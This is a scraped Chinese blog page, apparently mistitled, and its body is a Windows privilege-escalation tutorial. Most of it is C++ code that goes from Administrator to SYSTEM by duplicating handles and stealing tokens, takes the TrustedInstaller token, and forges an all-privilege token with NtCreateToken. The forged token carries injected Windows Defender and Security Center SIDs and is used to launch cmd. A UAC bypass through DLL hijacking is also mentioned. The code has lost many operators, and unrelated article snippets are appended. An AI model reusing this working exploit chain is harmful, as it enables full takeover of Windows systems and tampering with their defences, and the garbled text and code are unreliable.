当前位置: 首页 > article >正文

解决RDK X(ARM架构)板卡Remote-SSH运行Antigravity AI崩溃(SIGILL):Samba网络盘本地挂载方案

起因是我想在搞一些操作windows进程的事情时老是需要右键以管理员身份运行感觉很麻烦。就研究了一下怎么提权顺手瞄了一眼Windows下用户态权限分配然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧写了两三天成功获取了用户态下所有特权用户组。一、windows的权限在 Windows 操作系统中“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动还是进程创建Windows 安全引用监视器SRM都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个在多用户、多进程、多权限级别共存的环境中让系统既能安全运行又能灵活扩展。这套机制的关键在于三个概念安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码只关心你的线程当前挂着哪一张令牌以及你试图触碰的对象设置了怎样的门禁。在 Windows 中真正参与权限判断的不是“用户”这个抽象概念而是 Security Principal。它可以是本地用户、域用户、系统账户甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID这个 SID 就像身份证号码一样贯穿其一生。当你登录系统时无论是交互式登录、服务启动还是计划任务触发LSASS 都会负责认证你的身份并为你生成一个访问令牌。这个令牌不是简单的“你是谁”而是一个完整的能力集合快照。这个快照在登录完成后通常是静态的除非显式进行特权调整或令牌复制。也正因为如此Windows 的提权行为本质上不是“获得新能力”而是“获得另一张令牌”。1.令牌的结构令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用或者标记为仅用于拒绝访问。令牌中还包含一组特权也就是 Privileges例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的大多数处于 Disabled 状态需要显式调整。此外令牌还携带完整性级别。自 Windows Vista 起引入了强制完整性控制机制低完整性进程即便拥有访问控制列表允许的权限也可能被完整性策略直接拦截。最后令牌还记录了是否为主令牌还是模拟令牌这个细节直接决定了它能否被用于创建新进程。二、申请UAC和调试权限1.强制管理员运行函数 IsRunAsAdmin() 通过检查当前令牌是否含有 DOMAIN_ALIAS_RID_ADMINS管理员组 SID来判断权限。 如果不是管理员SelfElevate() 函数利用了一个经典技巧ShellExecuteExW 配合 runas 动词。原理runas 会触发 Windows 的用户账户控制UAC机制。如果当前用户在管理员组但以中等完整性级别Medium Integrity Level运行这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。uac似乎也能绕过更改环境变量劫持dllBOOL IsRunAsAdmin() {BOOL fIsRunAsAdmin FALSE;PSID pAdminSID NULL;SID_IDENTIFIER_AUTHORITY NtAuthority SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(NtAuthority,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0,0,0,0,0,0,pAdminSID)) {if (!CheckTokenMembership(NULL, pAdminSID, fIsRunAsAdmin)) {fIsRunAsAdmin FALSE;}FreeSid(pAdminSID);}return fIsRunAsAdmin;}void SelfElevate() {WCHAR szPath[MAX_PATH];if (GetModuleFileNameW(NULL,szPath,ARRAYSIZE(szPath))) {SHELLEXECUTEINFOW sei {sizeof(sei)};sei.cbSize sizeof(sei);sei.lpVerb Lrunas;sei.lpFile szPath;sei.hwnd NULL;sei.nShow SW_NORMAL;if (!ShellExecuteExW(sei)) {std::wcout L[-] User refused UAC elevation. std::endl;} else {exit(0);}}}if (!IsRunAsAdmin()) {std::wcout L[*] Not Admin. Requesting elevation... std::endl;SelfElevate();return 0;}2.开启SeDebugPrivilege特权OpenProcessToken - LookupPrivilegeValue - AdjustTokenPrivileges。SeDebugPrivilege 是 Windows中最强大的特权之一。官方描述是“调试程序”但实际上它允许持有者打开任何进程的句柄拥有 PROCESS_ALL_ACCESS 权限即使该进程属于 SYSTEM 或其他用户。一旦开启此特权Windows 的“进程隔离”防线对攻击者而言就不复存在了。bool EnableDebugPrivilege() {HANDLE hToken;if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken))return false;TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid)) {CloseHandle(hToken);return false;}tp.PrivilegeCount 1;tp.Privileges[0].Luid luid;tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED;bool result AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);CloseHandle(hToken);return result (GetLastError() ERROR_SUCCESS);}三、Admin提权到 SYSTEM1.句柄爆破GetSystemTokenViaBruteForce() 函数展示了一种极其野蛮但有效的技术。 通常要获取 SYSTEM 令牌攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。内存分配循环NtQuerySystemInformation(SystemHandleInformation, ...) 的返回长度是不确定的。用一个 while 循环不断尝试分配更大的内存STATUS_INFO_LENGTH_MISMATCH直到缓冲区足够容纳成千上万个系统句柄。遍历与过滤代码遍历每一个 SYSTEM_HANDLE_TABLE_ENTRY_INFO。if (entry.UniqueProcessId myPid) continue;跳过自己。DuplicateHandle(...)这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。HANDLE GetSystemTokenViaBruteForce() {if (!pNtQuerySystemInformation) return NULL;ULONG bufferSize 0x10000;PVOID buffer malloc(bufferSize);ULONG returnLength 0;NTSTATUS status;// 1. 获取所有句柄信息while ((status pNtQuerySystemInformation(SystemHandleInformation,buffer,bufferSize,returnLength)) STATUS_INFO_LENGTH_MISMATCH) {free(buffer);bufferSize returnLength 0x1000;buffer malloc(bufferSize);}if (status ! 0) {free(buffer);return NULL;}PSYSTEM_HANDLE_INFORMATION handleInfo (PSYSTEM_HANDLE_INFORMATION)buffer;DWORD myPid GetCurrentProcessId();HANDLE hBestToken NULL;std::wcout L[*] [Step 1] Brute-forcing handleInfo-NumberOfHandles L system handles... std::endl;for (ULONG i 0; i handleInfo-NumberOfHandles; i) {SYSTEM_HANDLE_TABLE_ENTRY_INFO entry handleInfo-Handles[i];if (entry.UniqueProcessId myPid) continue;HANDLE hSourceProcess OpenProcess(PROCESS_DUP_HANDLE,FALSE,entry.UniqueProcessId);if (!hSourceProcess) continue;HANDLE hDupHandle NULL;if (!DuplicateHandle(hSourceProcess,(HANDLE)(uintptr_t)entry.HandleValue,GetCurrentProcess(),hDupHandle,0,FALSE,DUPLICATE_SAME_ACCESS)) {CloseHandle(hSourceProcess);continue;}// 检查对象类型UCHAR typeInfoBuffer[0x1000];PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer;NTSTATUS status;status pNtQueryObject(hDupHandle,ObjectTypeInformation,typeInfoBuffer,sizeof(typeInfoBuffer),NULL);if (status 0) {goto LoopCleanup;}if (!typeInfo-TypeName.Buffer || _wcsicmp(typeInfo-TypeName.Buffer, LToken) ! 0) {goto LoopCleanup;}if (!IsSystemToken(hDupHandle)) {goto LoopCleanup;}TOKEN_STATISTICS stats;DWORD len;if (!GetTokenInformation(hDupHandle,TokenStatistics,stats,sizeof(stats),len) ||stats.TokenType ! TokenPrimary) {goto LoopCleanup;}DuplicateTokenEx(hDupHandle,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hBestToken);EnableAllPrivilegesForToken(hBestToken);std::wcout L [] FOUND SYSTEM TOKEN at Source PID: entry.UniqueProcessId std::endl;CloseHandle(hDupHandle);CloseHandle(hSourceProcess);goto Cleanup;LoopCleanup:CloseHandle(hDupHandle);CloseHandle(hSourceProcess);}Cleanup:free(buffer);return hBestToken;}2.筛选复制过来的句柄成千上万如何找到有价值的类型检查使用 NtQueryObject 查询对象类型只保留 LToken 类型的句柄。身份验证IsSystemToken() 函数读取令牌的用户 SID利用 IsWellKnownSid(..., WinLocalSystemSid) 确认这个令牌属于 SYSTEM。最终获取一旦找到代码立即调用 DuplicateTokenEx 将其转换为一个主令牌Primary Token并调用 EnableAllPrivilegesForToken 激活其中所有休眠的特权如 SeTcbPrivilege 等。此时通过ImpersonateLoggedOnUser已经从 Admin 变成了 SYSTEM。// Admin - SYSTEMHANDLE hSystemToken GetSystemTokenViaBruteForce();if (!hSystemToken) {std::wcout L[-] Failed to get SYSTEM token. std::endl;return 1;}std::wcout L[] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled). std::endl;// 模拟 SYSTEM 身份 (为了能够控制服务)if (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}四、System提权到TrustedInstaller在 Windows Vista 之后SYSTEM 不再是最高权限。为了防止系统文件被篡改微软引入了 Windows Resource Protection (WRP)其所有者是 TrustedInstaller。1.服务控制与劫持通过 StartTrustedInstallerService() 确保 TrustedInstaller 服务正在运行。如果服务没开攻击无法继续所以必须先 StartService。bool StartTrustedInstallerService() {SC_HANDLE hSCManager OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);if (!hSCManager) return false;SC_HANDLE hService OpenServiceW(hSCManager,LTrustedInstaller,SERVICE_START | SERVICE_QUERY_STATUS);if (!hService) {CloseServiceHandle(hSCManager);return false;}SERVICE_STATUS_PROCESS ssp;DWORD bytesNeeded;QueryServiceStatusEx(hService,SC_STATUS_PROCESS_INFO,(LPBYTE)ssp,sizeof(SERVICE_STATUS_PROCESS),bytesNeeded);if (ssp.dwCurrentState ! SERVICE_RUNNING) {std::wcout L [*] Starting TrustedInstaller service... std::endl;StartService(hService, 0, NULL);Sleep(2000);} else {std::wcout L [*] TrustedInstaller service is already running. std::endl;}CloseServiceHandle(hService);CloseServiceHandle(hSCManager);return true;}2.令牌窃取与模拟GetTrustedInstallerToken() 函数执行了令牌窃取流程获取 PID通过 GetPidByName(LTrustedInstaller.exe)。打开进程OpenProcess。复制令牌DuplicateTokenEx。关键动作ImpersonateLoggedOnUser。这一步将当前线程的上下文切换为 TrustedInstaller。这非常重要因为后续的许多操作修改 ACL依赖于当前线程的身份而不是进程身份。HANDLE GetTrustedInstallerToken() {std::wcout L[*] [Step 2] Escalating to TrustedInstaller... std::endl;if (!StartTrustedInstallerService()) {std::wcout L [-] Failed to start service. std::endl;return NULL;}DWORD pid GetPidByName(LTrustedInstaller.exe);if (pid 0) {std::wcout L [-] TrustedInstaller.exe process not found. std::endl;return NULL;}HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);if (!hProcess) return NULL;HANDLE hToken NULL;OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, hToken);HANDLE hNewToken NULL;if (hToken) {DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityImpersonation,TokenPrimary,hNewToken);std::wcout L [*] Enabling all privileges for TrustedInstaller token... std::endl;EnableAllPrivilegesForToken(hNewToken);CloseHandle(hToken);}CloseHandle(hProcess);return hNewToken;}五、伪造全特权令牌1.利用TrustedInstaller获取SeCreateTokenPrivilege特权为了能够创造新的令牌我们需要获取SeCreateTokenPrivilege特权。在 ScanAndStealTokens() 中代码遍历所有进程重点关注 lsass.exe本地安全机构子系统服务和 winlogon.exe。lsass.exe 是 Windows 安全的心脏它负责处理登录、验证和策略。因此它天然拥有创建令牌的权力。 HasSeCreateTokenPrivilege() 函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有甚至普通的 SYSTEM 进程也不一定有。只有 lsass.exe 等极少数核心进程拥有。一旦找到拥有此特权的令牌代码将其保存到 stolenTokens 向量中并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。std::vector ScanAndStealTokens() {std::vector stolenTokens;HANDLE hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot INVALID_HANDLE_VALUE) return stolenTokens;PROCESSENTRY32W pe;pe.dwSize sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, pe)) {return stolenTokens;}do {// 1. 过滤系统基础进程if (pe.th32ProcessID 0 || pe.th32ProcessID 4)continue;// 2. 尝试获取进程句柄HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pe.th32ProcessID);if (!hProcess) {hProcess OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,FALSE,pe.th32ProcessID);}if (!hProcess) continue;// 3. 尝试打开进程 TokenHANDLE hToken NULL;if (!OpenProcessToken(hProcess,TOKEN_QUERY | TOKEN_DUPLICATE,hToken)) {CloseHandle(hProcess);continue;}if (!HasSeCreateTokenPrivilege(hToken)) {CloseHandle(hToken);CloseHandle(hProcess);continue;}wprintf(L[] Terminator: Found special process [%d] %s\n, pe.th32ProcessID, pe.szExeFile);HANDLE hNewToken NULL;if (DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,hNewToken)) {if (_wcsicmp(pe.szExeFile, Llsass.exe) ! 0 _wcsicmp(pe.szExeFile, Lwinlogon.exe) ! 0) {continue;}stolenTokens.push_back(hNewToken);wprintf(L - Token stolen and stored! Handle: 0x%p\n, hNewToken);}CloseHandle(hToken);CloseHandle(hProcess);} while (Process32NextW(hSnapshot, pe));CloseHandle(hSnapshot);return stolenTokens;}2.伪造令牌我们预定义了一个目标服务列表 targetServices包含NT SERVICE\WinDefend (Windows Defender)NT SERVICE\TrustedInstallerNT SERVICE\SecurityHealthService (安全中心)...代码遍历这些服务名使用 LookupAccountNameW 获取它们对应的 SID安全标识符。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。然后在内存中代码分配了一个巨大的缓冲区来存放 TOKEN_GROUPS 结构体。它首先复制了源令牌通常是 lsass.exe 的令牌中的所有组。然后它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组而且默认启用这些组的权限甚至拥有这些组对象的所有权然后循环遍历 LUID 从 2 到 MAX_PRIV_COUNT (45)。将每一个特权都设置为 SE_PRIVILEGE_ENABLED。 这不仅包括常见的 SeDebugPrivilege还包括 SeTcbPrivilege作为操作系统一部分行事、SeTakeOwnershipPrivilege接管所有权等。HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector sidsToInject) {HMODULE hNtdll GetModuleHandleW(Lntdll.dll);auto NtCreateToken (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, NtCreateToken);if (!NtCreateToken) {std::cerr [-] Failed to resolve NtCreateToken std::endl;return NULL;}std::vector bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl;if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) ||!GetTokenInfo(hSourceToken, TokenSource, bufSource) ||!GetTokenInfo(hSourceToken, TokenUser, bufUser) ||!GetTokenInfo(hSourceToken, TokenGroups, bufGroups) ||!GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) ||!GetTokenInfo(hSourceToken, TokenOwner, bufOwner) ||!GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) ||!GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) {std::cerr [-] Failed to query source token information. std::endl;return NULL;}PTOKEN_USER pUser (PTOKEN_USER)bufUser.data();PTOKEN_GROUPS pOriginalGroups (PTOKEN_GROUPS)bufGroups.data();PTOKEN_PRIVILEGES pPrivs (PTOKEN_PRIVILEGES)bufPrivs.data();PTOKEN_OWNER pOwner (PTOKEN_OWNER)bufOwner.data();PTOKEN_PRIMARY_GROUP pPrimaryGroup (PTOKEN_PRIMARY_GROUP)bufPrimary.data();PTOKEN_DEFAULT_DACL pDefaultDacl (PTOKEN_DEFAULT_DACL)bufDacl.data();PTOKEN_STATISTICS pStats (PTOKEN_STATISTICS)bufStats.data();PTOKEN_SOURCE pSource (PTOKEN_SOURCE)bufSource.data();DWORD newGroupCount pOriginalGroups-GroupCount (DWORD)sidsToInject.size();std::vector newGroupsBuffer(sizeof(TOKEN_GROUPS) (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) 0x1000);PTOKEN_GROUPS pNewGroups (PTOKEN_GROUPS)newGroupsBuffer.data();pNewGroups-GroupCount newGroupCount;for (DWORD i 0; i pOriginalGroups-GroupCount; i) {pNewGroups-Groups[i].Sid pOriginalGroups-Groups[i].Sid; // 注意这里直接复制指针需确保源 buffer 不释放pNewGroups-Groups[i].Attributes pOriginalGroups-Groups[i].Attributes;}DWORD const ATTR_INJECT SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE)for (size_t i 0; i sidsToInject.size(); i) {DWORD currentIndex pOriginalGroups-GroupCount (DWORD)i;pNewGroups-Groups[currentIndex].Sid sidsToInject[i];pNewGroups-Groups[currentIndex].Attributes ATTR_INJECT;}SECURITY_QUALITY_OF_SERVICE sqos {sizeof(sqos),SecurityImpersonation,SECURITY_DYNAMIC_TRACKING,FALSE };OBJECT_ATTRIBUTES oa {sizeof(oa),0,0,0,0,sqos };HANDLE hNewToken NULL;LUID authId SYSTEM_LUID;LARGE_INTEGER expTime { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinitestd::vector fullPrivsBuffer(sizeof(TOKEN_PRIVILEGES) (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES)));PTOKEN_PRIVILEGES pFullPrivs (PTOKEN_PRIVILEGES)fullPrivsBuffer.data();DWORD privCount 0;for (DWORD i 2; i MAX_PRIV_COUNT 2; i) {LUID luid { i, 0 };wchar_t name[256];DWORD nameLen 256;if (LookupPrivilegeNameW(NULL, luid, name, nameLen)) {pFullPrivs-Privileges[privCount].Luid luid;pFullPrivs-Privileges[privCount].Attributes SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;privCount;}}pFullPrivs-PrivilegeCount privCount;PSID pSystemSid NULL;SID_IDENTIFIER_AUTHORITY ntAuthority SECURITY_NT_AUTHORITY;AllocateAndInitializeSid(ntAuthority,1,SECURITY_LOCAL_SYSTEM_RID,0,0,0,0,0,0,0,pSystemSid);TOKEN_USER systemUser { 0 };systemUser.User.Sid pSystemSid;systemUser.User.Attributes 0;TOKEN_OWNER tokenOwner { pSystemSid };TOKEN_PRIMARY_GROUP tokenPrimaryGroup { pSystemSid };NTSTATUS status NtCreateToken(hNewToken,TOKEN_ALL_ACCESS,oa,TokenPrimary,authId, // SYSTEM_LUIDexpTime,systemUser, // UserpNewGroups, // GroupspFullPrivs, // PrivilegestokenOwner, // OwnertokenPrimaryGroup, // PrimaryGrouppDefaultDacl, // 可以沿用旧的或者构造一个允许 SYSTEM 访问的 DACLpSource);if (status 0 hNewToken ! NULL) {std::wcout if (status 0xC0000061)std::wcerr L STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege) std::endl;return NULL;}}六、执行与利用拥有了伪造的令牌后代码使用 CreateProcessWithTokenW以全特权全所属组的方式启动cmdif (!ImpersonateLoggedOnUser(hSystemToken)) {std::wcout L[-] Impersonation failed. std::endl;return 1;}std::wcout L[] Impersonation Active: Thread is now SYSTEM. std::endl;// SYSTEM - TrustedInstallerHANDLE hTIToken GetTrustedInstallerToken();if (!hTIToken) {std::wcout L[-] Failed to get TrustedInstaller token. std::endl;RevertToSelf();return 1;}std::wcout L[] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled). std::endl;if (ImpersonateLoggedOnUser(hTIToken)) {std::wcout L\n[*] Impersonating TrustedInstaller to attack ACL... std::endl;} else {std::wcout L[-] Failed to impersonate TrustedInstaller for ACL modification. std::endl;}std::vector tokens ScanAndStealTokens();if (tokens.empty()) {std::wcout L[-] No special tokens found. std::endl;return 1;}std::wcout L[] Collected tokens.size() L candidate tokens. std::endl;if (ImpersonateLoggedOnUser(tokens.back()))std::wcout L[] Impersonation Successful! std::endl;std::vector injectedSIDs;std::wcout L[*] Resolving Service SIDs... std::endl;for (const auto svc : targetServices) {PSID pSid GetSidForService(svc);if (pSid) {injectedSIDs.push_back(pSid);} else {std::wcout L [-] Failed to resolve: svc std::endl;}}HANDLE hCurrentToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, hCurrentToken);// 3. 执行伪造HANDLE hForgedToken ForgeSystemToken(hCurrentToken, injectedSIDs);if(!hForgedToken) {std::wcout L [-] Failed to forged std::endl;return 1;}// 启动 CMDSTARTUPINFOW si { sizeof(si) };PROCESS_INFORMATION pi { 0 };std::wcout L[*] Launching CMD std::endl;if (ImpersonateLoggedOnUser(hForgedToken ))std::wcout L[] Impersonation Successful! std::endl;if (CreateProcessWithTokenW(hForgedToken,1,LC:\\Windows\\System32\\cmd.exe,NULL,CREATE_NEW_CONSOLE,NULL,NULL,si,pi)) {std::wcout L\n[SUCCESS] PID: pi.dwProcessId L. Check whoami /groups. std::endl;CloseHandle(pi.hProcess);CloseHandle(pi.hThread);} else {std::wcout L [-] Launch failed. Error: GetLastError() std::endl;}最终的whoami /all如下图所示敌逞途第

相关文章:

解决RDK X(ARM架构)板卡Remote-SSH运行Antigravity AI崩溃(SIGILL):Samba网络盘本地挂载方案

起因是我想在搞一些操作windows进程的事情时,老是需要右键以管理员身份运行,感觉很麻烦。就研究了一下怎么提权,顺手瞄了一眼Windows下用户态权限分配,然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧&#xff…...

别再死记硬背PID参数了!手把手教你调试锅炉三冲量水位(附DCS实操避坑点)

锅炉三冲量水位控制实战:从PID原理到DCS调试避坑指南 锅炉汽包水位控制是工业自动化领域最具挑战性的任务之一。作为一名在火电厂摸爬滚打十年的控制工程师,我见过太多因为水位控制不当导致的非计划停机事故。记得刚入行时,面对和利时DCS系统…...

变分量子算法在酉扩张中的应用与优化

1. 变分量子算法在酉扩张中的核心原理量子计算中的酉扩张技术是实现非酉量子操作的关键方法。简单来说,酉扩张就像是为一个不完美的量子操作"搭建脚手架"——通过引入额外的量子比特(称为辅助比特),我们可以将这个不完美…...

缓存基础知识:缓存策略、过期、击穿与雪崩

文章目录前言一、缓存入门:一句话搞懂缓存的本质1.1 缓存到底是什么?1.2 2026年缓存的主流应用场景1.3 为什么程序员必学缓存?二、缓存核心策略:选对策略,少踩一半坑2.1 缓存读写策略:搞定数据读写逻辑2.1.…...

手把手教你用Conda安装Python的dcor包,并计算距离相关系数(避坑指南)

从零开始:用Conda轻松安装dcor包并计算距离相关系数 在数据科学和统计分析中,我们经常需要衡量变量之间的相关性。传统的皮尔逊相关系数虽然广为人知,但它只能捕捉线性关系,对于非线性关系的识别就显得力不从心。这时候&#xff0…...

Genesis IoT Discovery Lab模块化开发平台解析与应用

1. Genesis IoT Discovery Lab 模块化开发平台解析作为一名嵌入式开发工程师,当我第一次看到Genesis IoT Discovery Lab时,立刻被它优雅的模块化设计所吸引。这款来自立陶宛Axiometa公司的开发平台,完美解决了传统面包板接线混乱、接触不良等…...

如何用 childNodes 与 children 区分文本节点与元素子节点

childNodes返回所有子节点(含文本、注释等),children仅返回元素节点;前者包含空白文本节点,后者自动过滤非元素内容,更简洁安全。childNodes 和 children 都是用来获取元素子节点的属性,但它们返…...

测试22222222

测试...

测试111111111

测试...

mysql如何防止SQL注入攻击_mysql参数化查询与转义

...

PySpark中高效展开嵌套数组:避免笛卡尔爆炸的正确实践

本文详解如何在PySpark中安全、高效地展开多个同结构嵌套数组字段,重点规避explode()链式调用引发的笛卡尔积式行数爆炸,显著提升性能并防止OOM(如错误代码52),推荐使用arrays_zip explode组合替代多重独立explode。 …...

Go语言如何做API限流_Go语言令牌桶限流教程【深入】

<p>golang.org/x/time/rate 是 Go 官方推荐的令牌桶限流方案&#xff0c;核心为 rate.Limiter 和 rate.Limit&#xff1b;需按需动态创建实例隔离限流维度&#xff0c;配合 Retry-After 和 X-RateLimit- headers 提升兼容性&#xff0c;注意时钟依赖与性能边界。</p&g…...

别再只盯着BLEU了!用CIDEr评价你的图像描述模型,效果更接近人类判断

图像描述模型评估新范式&#xff1a;为什么CIDEr比BLEU更能捕捉人类感知&#xff1f; 当你在深夜盯着BLEU分数陷入沉思——明明指标显示模型表现优异&#xff0c;为什么生成的图像描述读起来总差那么点"人味儿"&#xff1f;这个问题困扰过大多数计算机视觉研究者。传…...

从仿真图到设计洞察:手把手教你用Cadence Virtuoso分析MOS尺寸对性能的影响

从仿真图到设计洞察&#xff1a;手把手教你用Cadence Virtuoso分析MOS尺寸对性能的影响 在模拟电路设计的进阶阶段&#xff0c;工程师往往面临一个关键挑战&#xff1a;如何将仿真结果转化为实际设计决策。当我们在Cadence Virtuoso中完成基础MOS特性仿真后&#xff0c;那些看似…...

Scikit-LLM:零样本与小样本文本分类实战指南

1. 项目概述在机器学习领域&#xff0c;零样本&#xff08;Zero-Shot&#xff09;和小样本&#xff08;Few-Shot&#xff09;分类一直是极具挑战性的任务。传统方法通常需要大量标注数据进行模型训练&#xff0c;而Scikit-LLM的出现为这一难题提供了创新解决方案。这个Python库…...

告别静态图表!用Python的mplfinance库打造你的专属量化看盘工具(附完整源码)

用Python构建专业级量化看盘工具&#xff1a;从mplfinance入门到实战封装 在量化投资领域&#xff0c;可视化分析工具的重要性不言而喻。对于追求自主性和定制化的投资者来说&#xff0c;商业软件往往难以满足个性化需求。本文将带你用Python的mplfinance库&#xff0c;从零开始…...

期刊论文困住了多少人?好写作AI帮你从“写不出来”到“投得出去”

如果你正在写期刊论文&#xff0c;以下场景一定不陌生&#xff1a;选题改了十几版导师还是摇头&#xff0c;文献综述写了整整一周却被批“没有自己的观点”&#xff0c;数据跑完了但半天憋不出像样的讨论——更可怕的是&#xff0c;最后卡在格式规范上&#xff0c;参考文献的标…...

基于Testbed的车载ECU软件集成测试方法研究

目录 一、引言:车载ECU软件集成测试的现状与痛点 二、核心概念解析:Testbed与车载ECU软件集成测试 2.1 车载ECU软件集成测试核心定义 2.2 Testbed(测试台架)核心定义与特点 2.3 基于Testbed的ECU软件集成测试核心优势 三、基于Testbed的车载ECU软件集成测试平台搭建(…...

统计学习与不确定性量化在AI可靠性中的应用

1. 统计学习&#xff1a;AI系统可靠性的理论基石在2014年的ImageNet竞赛中&#xff0c;一个看似简单的实验震惊了整个AI社区——研究者们发现&#xff0c;只需对输入图像添加人眼无法察觉的微小扰动&#xff0c;就能让当时最先进的图像分类模型产生完全错误的预测。这个现象后来…...

新手必藏!2026 CTF 零基础入门科普,赛制、题型、解题逻辑全解析

前言 很多刚接触网络安全的小白&#xff0c;第一次听说CTF就一头雾水&#xff1a;CTF到底是什么&#xff1f;和渗透测试有啥区别&#xff1f;新手该从哪下手&#xff1f;本篇主打纯科普零基础讲解&#xff0c;不堆砌复杂代码&#xff0c;帮你彻底摸清CTF底层逻辑&#xff0c;快…...

别再死记硬背了!华为交换机日常运维,这10条display命令搞定80%的活儿

华为交换机高效运维&#xff1a;10条核心命令解决80%日常问题 刚接触华为交换机的网络工程师&#xff0c;常常陷入命令海洋的迷茫——面对数百条指令&#xff0c;哪些才是真正高频使用的"杀手锏"&#xff1f;经过对实际运维场景的长期观察&#xff0c;我们发现80%的日…...

MySQL在云环境如何选择存储类型_SSD与高性能云盘配置建议

绝大多数业务用高性能云盘就够了&#xff0c;SSD云盘仅适用于实时风控等高并发写入、低延迟敏感场景&#xff1b;高性能云盘提供稳定IOPS基线与突发能力&#xff0c;而SSD云盘IOPS波动大、延迟不可控。云上 MySQL 用 SSD 还是高性能云盘&#xff1f;看 IOPS 和延迟需求直接说结…...

从摄像头采集到RTP推流:手把手教你用Gstreamer搭建一个简易监控Demo(Windows/Linux双平台)

从摄像头采集到RTP推流&#xff1a;手把手教你用Gstreamer搭建跨平台监控系统 在物联网和边缘计算快速发展的今天&#xff0c;视频监控系统的需求呈现爆发式增长。无论是智能家居中的婴儿看护&#xff0c;还是工业环境中的设备监测&#xff0c;实时视频流的采集与传输都是核心技…...

AI模型加载慢、首请求延迟高、GPU显存泄漏频发,.NET 11推理性能瓶颈全排查,12个必检配置项清单已验证

第一章&#xff1a;AI模型推理性能瓶颈的典型现象与诊断方法在实际部署大语言模型或视觉模型时&#xff0c;开发者常观察到吞吐量骤降、首token延迟飙升、GPU利用率长期低于30%等反直觉现象。这些并非硬件故障&#xff0c;而是由计算、内存、通信三类资源失配引发的典型推理瓶颈…...

如何轻松实现跨平台词库迁移:深蓝词库转换工具完整指南

如何轻松实现跨平台词库迁移&#xff1a;深蓝词库转换工具完整指南 【免费下载链接】imewlconverter ”深蓝词库转换“ 一款开源免费的输入法词库转换程序 项目地址: https://gitcode.com/gh_mirrors/im/imewlconverter 你是否曾因更换输入法而丢失多年积累的词库&#…...

瑞芯微(EASY EAI)RV1126B rknn-toolkit-lite2使用方法

1. rknn-toolkit-lite2介绍 RKNN-Toolkit-Lite2 是瑞芯微&#xff08;Rockchip&#xff09;专为旗下RK系列芯片&#xff08;如RV1126B、RK3576、RK3588等&#xff09;打造的轻量级 AI 模型部署工具包&#xff0c;聚焦边缘 / 嵌入式设备的模型推理场景。它无需复杂的环境依赖&a…...

从‘能用’到‘专业’:用Axure做高保真原型必须知道的尺寸、交互与标注细节

从‘能用’到‘专业’&#xff1a;用Axure做高保真原型必须掌握的三大核心维度 当你需要向开发团队交付一个可以直接进入编码阶段的高保真原型时&#xff0c;那些看似简单的尺寸标注、交互说明和需求注释&#xff0c;往往成为决定项目效率的关键因素。我曾见证过两个几乎相同设…...

基于scikit-learn的手势识别系统实现与优化

